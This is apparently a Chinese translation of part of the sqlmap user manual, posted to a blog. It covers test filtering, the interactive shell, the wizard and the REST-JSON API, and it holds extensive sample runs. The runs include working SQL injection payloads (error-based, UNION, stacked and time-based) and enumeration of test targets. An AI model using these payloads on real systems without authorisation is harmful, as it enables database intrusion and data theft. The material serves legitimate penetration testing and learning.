do you want to include all tests for 'MySQL' extending provided level (1) and ri
sk (1)? [Y/n] Y
[xx:xx:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[xx:xx:14] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVI
NG clause' injectable 
[xx:xx:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[xx:xx:14] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or
 HAVING clause' injectable 
[xx:xx:14] [INFO] testing 'MySQL inline queries'
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[xx:xx:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' in
jectable 
[xx:xx:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[xx:xx:24] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the 
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[xx:xx:24] [INFO] target URL appears to have 3 columns in query
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 colu
mns' injectable
[...]

选择(或跳过)有效载荷和/或标题的测试

选项 --test-filter

如果你想通过他们的有效载荷和/或标题过滤测试,你可以使用这个选项。例如,如果你想测试所有有ROW关键字的有效载荷,你可以使用--test-filter=ROW

针对MySQL目标的示例:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --b\
atch --test-filter=ROW
[...]
[xx:xx:39] [INFO] GET parameter 'id' is dynamic
[xx:xx:39] [WARNING] reflective value(s) found and filtering out
[xx:xx:39] [INFO] heuristic (basic) test shows that GET parameter 'id' might be 
injectable (possible DBMS: 'MySQL')
[xx:xx:39] [INFO] testing for SQL injection on GET parameter 'id'
[xx:xx:39] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING clause
'
[xx:xx:39] [INFO] GET parameter 'id' is 'MySQL >= 4.1 AND error-based - WHERE or
 HAVING clause' injectable 
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] N
sqlmap identified the following injection points with a total of 3 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
    Type: error-based
    Title: MySQL >= 4.1 AND error-based - WHERE or HAVING clause
    Payload: id=1 AND ROW(4959,4971)>(SELECT COUNT(*),CONCAT(0x3a6d70623a,(SELEC
T (C
    ASE WHEN (4959=4959) THEN 1 ELSE 0 END)),0x3a6b7a653a,FLOOR(RAND(0)*2))x FRO
M (S
    ELECT 4706 UNION SELECT 3536 UNION SELECT 7442 UNION SELECT 3470)a GROUP BY 
x)
---
[...]

选项 --test-skip=TEST

如果您想通过有效载荷和/或标题跳过测试,则可以使用此选项。例如,如果你想跳过所有有BENCHMARK关键字的有效载荷,你可以使用--test-skip=BENCHMARK

交互式的sqlmap外壳

开关: --sqlmap-shell

通过使用交换机,--sqlmap-shell用户将看到交互式的sqlmap外壳,该外壳具有使用过的选项和/或开关的所有先前运行的历史记录:

$ python sqlmap.py --sqlmap-shell
sqlmap-shell> -u "http://testphp.vulnweb.com/artists.php?artist=1" --technique=\
BEU --batch
         _
 ___ ___| |_____ ___ ___  {1.0-dev-2188502}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable 
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at xx:xx:11

[xx:xx:11] [INFO] testing connection to the target URL
[xx:xx:12] [INFO] testing if the target URL is stable
[xx:xx:13] [INFO] target URL is stable
[xx:xx:13] [INFO] testing if GET parameter 'artist' is dynamic
[xx:xx:13] [INFO] confirming that GET parameter 'artist' is dynamic
[xx:xx:13] [INFO] GET parameter 'artist' is dynamic
[xx:xx:13] [INFO] heuristic (basic) test shows that GET parameter 'artist' might
 be injectable (possible DBMS: 'MySQL')
[xx:xx:13] [INFO] testing for SQL injection on GET parameter 'artist'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads sp
ecific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending 
provided level (1) and risk (1) values? [Y/n] Y
[xx:xx:13] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[xx:xx:13] [INFO] GET parameter 'artist' seems to be 'AND boolean-based blind - 
WHERE or HAVING clause' injectable 
[xx:xx:13] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause'
[xx:xx:13] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY
 or GROUP BY clause'
[xx:xx:13] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (EXTRACTVALUE)'
[xx:xx:13] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY
 or GROUP BY clause (EXTRACTVALUE)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (UPDATEXML)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY
 or GROUP BY clause (UPDATEXML)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (EXP)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (E
XP)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (BIGINT UNSIGNED)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (B
IGINT UNSIGNED)'
[xx:xx:14] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause'
[xx:xx:14] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE, HAVING clause'
[xx:xx:14] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause'
[xx:xx:14] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACT
VALUE)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[xx:xx:14] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACT
VALUE)'
[xx:xx:15] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEX
ML)'
[xx:xx:15] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[xx:xx:15] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT 
UNSIGNED)'
[xx:xx:15] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[xx:xx:15] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[xx:xx:15] [INFO] ORDER BY technique seems to be usable. This should reduce the 
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[xx:xx:15] [INFO] target URL appears to have 3 columns in query
[xx:xx:16] [INFO] GET parameter 'artist' is 'Generic UNION query (NULL) - 1 to 2
0 columns' injectable
GET parameter 'artist' is vulnerable. Do you want to keep testing the others (if
 any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 39 HTTP(s) re
quests:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=1 AND 5707=5707

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-7983 UNION ALL SELECT CONCAT(0x716b706271,0x6f6c506a7473764
26d58446f634454616a4c647a6c6a69566e584e454c64666f6861466e697a5069,0x716a786a71),
NULL,NULL-- -
---
[xx:xx:16] [INFO] testing MySQL
[xx:xx:16] [INFO] confirming MySQL
[xx:xx:16] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.10
back-end DBMS: MySQL >= 5.0.0
[xx:xx:16] [INFO] fetched data logged to text files under '/home/stamparm/.sqlma
p/output/testphp.vulnweb.com'
sqlmap-shell> -u "http://testphp.vulnweb.com/artists.php?artist=1" --banner
         _
 ___ ___| |_____ ___ ___  {1.0-dev-2188502}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable 
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at xx:xx:25

[xx:xx:26] [INFO] resuming back-end DBMS 'mysql' 
[xx:xx:26] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=1 AND 5707=5707

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-7983 UNION ALL SELECT CONCAT(0x716b706271,0x6f6c506a7473764
26d58446f634454616a4c647a6c6a69566e584e454c64666f6861466e697a5069,0x716a786a71),
NULL,NULL-- -
---
[xx:xx:26] [INFO] the back-end DBMS is MySQL
[xx:xx:26] [INFO] fetching banner
web application technology: Nginx, PHP 5.3.10
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL 5
banner:    '5.1.73-0ubuntu0.10.04.1'
[xx:xx:26] [INFO] fetched data logged to text files under '/home/stamparm/.sqlma
p/output/testphp.vulnweb.com' 
sqlmap-shell> exit

简单的向导界面适合初学者用户

开关: --wizard

对于初学者用户来说,它有一个向导界面,它尽可能使用简单的工作流程和尽可能少的问题。如果用户只输入目标URL并使用默认答案(例如按下Enter),他应该在工作流程结束时有一个正确设置的sqlmap运行环境。

针对Microsoft SQL Server目标的示例:

$ python sqlmap.py --wizard

    sqlmap/1.0-dev-2defc30 - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable 
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at xx:xx:26

Please enter full target URL (-u): http://192.168.21.129/sqlmap/mssql/iis/get_in
t.asp?id=1
POST data (--data) [Enter for None]: 
Injection difficulty (--level/--risk). Please choose:
[1] Normal (default)
[2] Medium
[3] Hard
> 1
Enumeration (--banner/--current-user/etc). Please choose:
[1] Basic (default)
[2] Smart
[3] All
> 1

sqlmap is running, please wait..

heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft SQL S
erver'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for 'Microsoft SQL Server' extending provided l
evel (1) and risk (1)? [Y/n] Y
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] N
sqlmap identified the following injection points with a total of 25 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 2986=2986

    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: id=1 AND 4847=CONVERT(INT,(CHAR(58)+CHAR(118)+CHAR(114)+CHAR(100)+C
HAR(58)+(SELECT (CASE WHEN (4847=4847) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58
)+CHAR(111)+CHAR(109)+CHAR(113)+CHAR(58)))

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=1 UNION ALL SELECT NULL,NULL,CHAR(58)+CHAR(118)+CHAR(114)+CHAR(1
00)+CHAR(58)+CHAR(70)+CHAR(79)+CHAR(118)+CHAR(106)+CHAR(87)+CHAR(101)+CHAR(119)+
CHAR(115)+CHAR(114)+CHAR(77)+CHAR(58)+CHAR(111)+CHAR(109)+CHAR(113)+CHAR(58)-- 

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: id=1; WAITFOR DELAY '0:0:5'--

    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: id=1 WAITFOR DELAY '0:0:5'--

    Type: inline query
    Title: Microsoft SQL Server/Sybase inline queries
    Payload: id=(SELECT CHAR(58)+CHAR(118)+CHAR(114)+CHAR(100)+CHAR(58)+(SELECT 
(CASE WHEN (6382=6382) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(111)+CHAR
(109)+CHAR(113)+CHAR(58))
---
web server operating system: Windows XP
web application technology: ASP, Microsoft IIS 5.1
back-end DBMS operating system: Windows XP Service Pack 2
back-end DBMS: Microsoft SQL Server 2005
banner:
---
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) 
    Oct 14 2005 00:33:37 
    Copyright (c) 1988-2005 Microsoft Corporation
    Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2)
---
current user:    'sa'
current database:    'testdb'
current user is DBA:    True

[*] shutting down at xx:xx:52

API(REST-JSON)

可以通过服务器和客户机实例之间使用JSON for REST(缩略语表示状态传输)通信的REST-JSON API,API(缩写为应用程序接口)运行sqlmap。在plainspeak中,服务器运行sqlmap扫描,而客户端正在设置sqlmap选项/开关并将结果返回。用于运行API的主程序文件是sqlmapapi.py,而客户端也可以在任意用户程序内部实现。

$ python sqlmapapi.py -hh
Usage: sqlmapapi.py [options]

Options:
  -h, --help            show this help message and exit
  -s, --server          Act as a REST-JSON API server
  -c, --client          Act as a REST-JSON API client
  -H HOST, --host=HOST  Host of the REST-JSON API server (default "127.0.0.1")
  -p PORT, --port=PORT  Port of the the REST-JSON API server (default 8775)
  --adapter=ADAPTER     Server (bottle) adapter to use (default "wsgiref")

服务器运行sqlmapapi.py通过使用交换机-s,客户端通过使用开关-c,而在这两种情况下用户可以(可选)设置与听力选项IP地址-H(默认值"127.0.0.1"),并用监听端口选项-p(默认8775)。每个客户端的“会话”可以有多个“任务”(即运行sqlmap扫描),用户可以随意选择当前应该激活的任务。

在客户端的命令行界面里可用的命令是:

  • help - 显示可用命令列表以及基本帮助信息
  • new ARGS- 使用提供的参数开始一个新的扫描任务(例如new -u "http://testphp.vulnweb.com/artists.php?artist=1"
  • use TASKID- 将当前上下文切换到不同的任务(例如use c04d8c5c7582efb4
  • data - 检索并显示当前任务的数据
  • log - 检索并显示当前任务的日志
  • status - 检索并显示当前任务的状态
  • stop - 停止当前任务
  • kill - 杀死当前的任务
  • list - 显示所有任务(针对当前会话)
  • flush - 刷新(即删除)所有任务
  • exit - 退出客户端界面

服务器运行示例:

$ python sqlmapapi.py -s -H "0.0.0.0"
[12:47:51] [INFO] Running REST-JSON API server at '0.0.0.0:8775'..
[12:47:51] [INFO] Admin ID: 89fd118997840a9bd7fc329ab535b881
[12:47:51] [DEBUG] IPC database: /tmp/sqlmapipc-SzBQnd
[12:47:51] [DEBUG] REST-JSON API server connected to IPC database
[12:47:51] [DEBUG] Using adapter 'wsgiref' to run bottle
[12:48:10] [DEBUG] Created new task: 'a42ddaef02e976f0'
[12:48:10] [DEBUG] [a42ddaef02e976f0] Started scan
[12:48:16] [DEBUG] [a42ddaef02e976f0] Retrieved scan status
[12:48:50] [DEBUG] [a42ddaef02e976f0] Retrieved scan status
[12:48:55] [DEBUG] [a42ddaef02e976f0] Retrieved scan log messages
[12:48:59] [DEBUG] [a42ddaef02e976f0] Retrieved scan data and error messages

示例客户端运行:

$ python sqlmapapi.py -c -H "192.168.110.1"
[12:47:53] [DEBUG] Example client access from command line:
    $ taskid=$(curl http://192.168.110.1:8775/task/new 2>1 | grep -o -I '[a-f0-9
]\{16\}') && echo $taskid
    $ curl -H "Content-Type: application/json" -X POST -d '{"url": "http://testp
hp.vulnweb.com/artists.php?artist=1"}' http://192.168.110.1:8775/scan/$taskid/st
art
    $ curl http://192.168.110.1:8775/scan/$taskid/data
    $ curl http://192.168.110.1:8775/scan/$taskid/log
[12:47:53] [INFO] Starting REST-JSON API client to 'http://192.168.110.1:8775'..
.
[12:47:53] [DEBUG] Calling http://192.168.110.1:8775
[12:47:53] [INFO] Type 'help' or '?' for list of available commands
api> ?
help        Show this help message
new ARGS    Start a new scan task with provided arguments (e.g. 'new -u "http://
testphp.vulnweb.com/artists.php?artist=1"')
use TASKID  Switch current context to different task (e.g. 'use c04d8c5c7582efb4
')
data        Retrieve and show data for current task
log         Retrieve and show log for current task
status      Retrieve and show status for current task
stop        Stop current task
kill        Kill current task
list        Display all tasks
flush       Flush tasks (delete all tasks)
exit        Exit this client
api> new -u "http://testphp.vulnweb.com/artists.php?artist=1" --banner --flush-s
ession
[12:48:10] [DEBUG] Calling http://192.168.110.1:8775/task/new
[12:48:10] [INFO] New task ID is 'a42ddaef02e976f0'
[12:48:10] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/start
[12:48:10] [INFO] Scanning started
api (a42ddaef02e976f0)> status
[12:48:16] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/statu
s
{
    "status": "running", 
    "returncode": null, 
    "success": true
}
api (a42ddaef02e976f0)> status
[12:48:50] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/statu
s
{
    "status": "terminated", 
    "returncode": 0, 
    "success": true
}
api (a42ddaef02e976f0)> log
[12:48:55] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/log
{
    "log": [
        {
            "message": "flushing session file", 
            "level": "INFO", 
            "time": "12:48:10"
        }, 
        {
            "message": "testing connection to the target URL", 
            "level": "INFO", 
            "time": "12:48:10"
        }, 
        {
            "message": "checking if the target is protected by some kind of WAF/
IPS/IDS", 
            "level": "INFO", 
            "time": "12:48:10"
        }, 
        {
            "message": "testing if the target URL is stable", 
            "level": "INFO", 
            "time": "12:48:10"
        }, 
        {
            "message": "target URL is stable", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "testing if GET parameter 'artist' is dynamic", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "confirming that GET parameter 'artist' is dynamic", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "GET parameter 'artist' is dynamic", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "heuristic (basic) test shows that GET parameter 'artist'
 might be injectable (possible DBMS: 'MySQL')", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "testing for SQL injection on GET parameter 'artist'", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "testing 'AND boolean-based blind - WHERE or HAVING claus
e'", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "GET parameter 'artist' appears to be 'AND boolean-based 
blind - WHERE or HAVING clause' injectable (with --string=\"hac\")", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (BIGINT UNSIGNED)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING cla
use (BIGINT UNSIGNED)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (EXP)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING cla
use (EXP)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING,
 ORDER BY or GROUP BY clause (JSON_KEYS)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.7.8 OR error-based - WHERE, HAVING c
lause (JSON_KEYS)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (FLOOR)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, OR
DER BY or GROUP BY clause (FLOOR)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (EXTRACTVALUE)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, OR
DER BY or GROUP BY clause (EXTRACTVALUE)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (UPDATEXML)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, OR
DER BY or GROUP BY clause (UPDATEXML)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (FLOOR)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 4.1 OR error-based - WHERE, HAVING cla
use (FLOOR)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL OR error-based - WHERE or HAVING clause (
FLOOR)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (E
XTRACTVALUE)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.5 error-based - Parameter replace (B
IGINT UNSIGNED)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.5 error-based - Parameter replace (E
XP)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.7.8 error-based - Parameter replace 
(JSON_KEYS)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.0 error-based - Parameter replace (F
LOOR)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL >= 5.1 error-based - Parameter replace (U
PDATEXML)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL >= 5.1 error-based - Parameter replace (E
XTRACTVALUE)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL inline queries'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL > 5.0.11 stacked queries (comment)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL > 5.0.11 stacked queries'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL > 5.0.11 stacked queries (query SLEEP - c
omment)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL > 5.0.11 stacked queries (query SLEEP)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL < 5.0.12 stacked queries (heavy query - c
omment)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL < 5.0.12 stacked queries (heavy query)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL >= 5.0.12 AND time-based blind'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "GET parameter 'artist' appears to be 'MySQL >= 5.0.12 AN
D time-based blind' injectable ", 
            "level": "INFO", 
            "time": "12:48:23"
        }, 
        {
            "message": "testing 'Generic UNION query (NULL) - 1 to 20 columns'", 
            "level": "INFO", 
            "time": "12:48:23"
        }, 
        {
            "message": "automatically extending ranges for UNION query injection
 technique tests as there is at least one other (potential) technique found", 
            "level": "INFO", 
            "time": "12:48:23"
        }, 
        {
            "message": "'ORDER BY' technique appears to be usable. This should r
educe the time needed to find the right number of query columns. Automatically e
xtending the range for current UNION query injection technique test", 
            "level": "INFO", 
            "time": "12:48:23"
        }, 
        {
            "message": "target URL appears to have 3 columns in query", 
            "level": "INFO", 
            "time": "12:48:23"
        }, 
        {
            "message": "GET parameter 'artist' is 'Generic UNION query (NULL) - 
1 to 20 columns' injectable", 
            "level": "INFO", 
            "time": "12:48:24"
        }, 
        {
            "message": "the back-end DBMS is MySQL", 
            "level": "INFO", 
            "time": "12:48:24"
        }, 
        {
            "message": "fetching banner", 
            "level": "INFO", 
            "time": "12:48:24"
        }
    ], 
    "success": true
}
api (a42ddaef02e976f0)> data
[12:48:59] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/data
{
    "data": [
        {
            "status": 1, 
            "type": 0, 
            "value": [
                {
                    "dbms": "MySQL", 
                    "suffix": "", 
                    "clause": [
                        1, 
                        9
                    ], 
                    "notes": [], 
                    "ptype": 1, 
                    "dbms_version": [
                        ">= 5.0.12"
                    ], 
                    "prefix": "", 
                    "place": "GET", 
                    "os": null, 
                    "conf": {
                        "code": null, 
                        "string": "hac", 
                        "notString": null, 
                        "titles": false, 
                        "regexp": null, 
                        "textOnly": false, 
                        "optimize": false
                    }, 
                    "parameter": "artist", 
                    "data": {
                        "1": {
                            "comment": "", 
                            "matchRatio": 0.85, 
                            "trueCode": 200, 
                            "title": "AND boolean-based blind - WHERE or HAVING 
clause", 
                            "templatePayload": null, 
                            "vector": "AND [INFERENCE]", 
                            "falseCode": 200, 
                            "where": 1, 
                            "payload": "artist=1 AND 2794=2794"
                        }, 
                        "5": {
                            "comment": "", 
                            "matchRatio": 0.85, 
                            "trueCode": 200, 
                            "title": "MySQL >= 5.0.12 AND time-based blind", 
                            "templatePayload": null, 
                            "vector": "AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLE
EPTIME]),[RANDNUM])", 
                            "falseCode": null, 
                            "where": 1, 
                            "payload": "artist=1 AND SLEEP([SLEEPTIME])"
                        }, 
                        "6": {
                            "comment": "[GENERIC_SQL_COMMENT]", 
                            "matchRatio": 0.85, 
                            "trueCode": null, 
                            "title": "Generic UNION query (NULL) - 1 to 20 colum
ns", 
                            "templatePayload": null, 
                            "vector": [
                                2, 
                                3, 
                                "[GENERIC_SQL_COMMENT]", 
                                "", 
                                "", 
                                "NULL", 
                                2, 
                                false, 
                                false
                            ], 
                            "falseCode": null, 
                            "where": 2, 
                            "payload": "artist=-5376 UNION ALL SELECT NULL,NULL,
CONCAT(0x716b706a71,0x4a754d495377744d4273616c436b4b6a504164666a5572477241596649
704c68614672644a477474,0x7162717171)-- aAjy"
                        }
                    }
                }
            ]
        }, 
        {
            "status": 1, 
            "type": 2, 
            "value": "5.1.73-0ubuntu0.10.04.1"
        }
    ], 
    "success": true, 
    "error": []
}
api (a42ddaef02e976f0)> exit
$
posted @ 2018-04-27 00:18  STARTURN  阅读(2248)  评论(0编辑  收藏  举报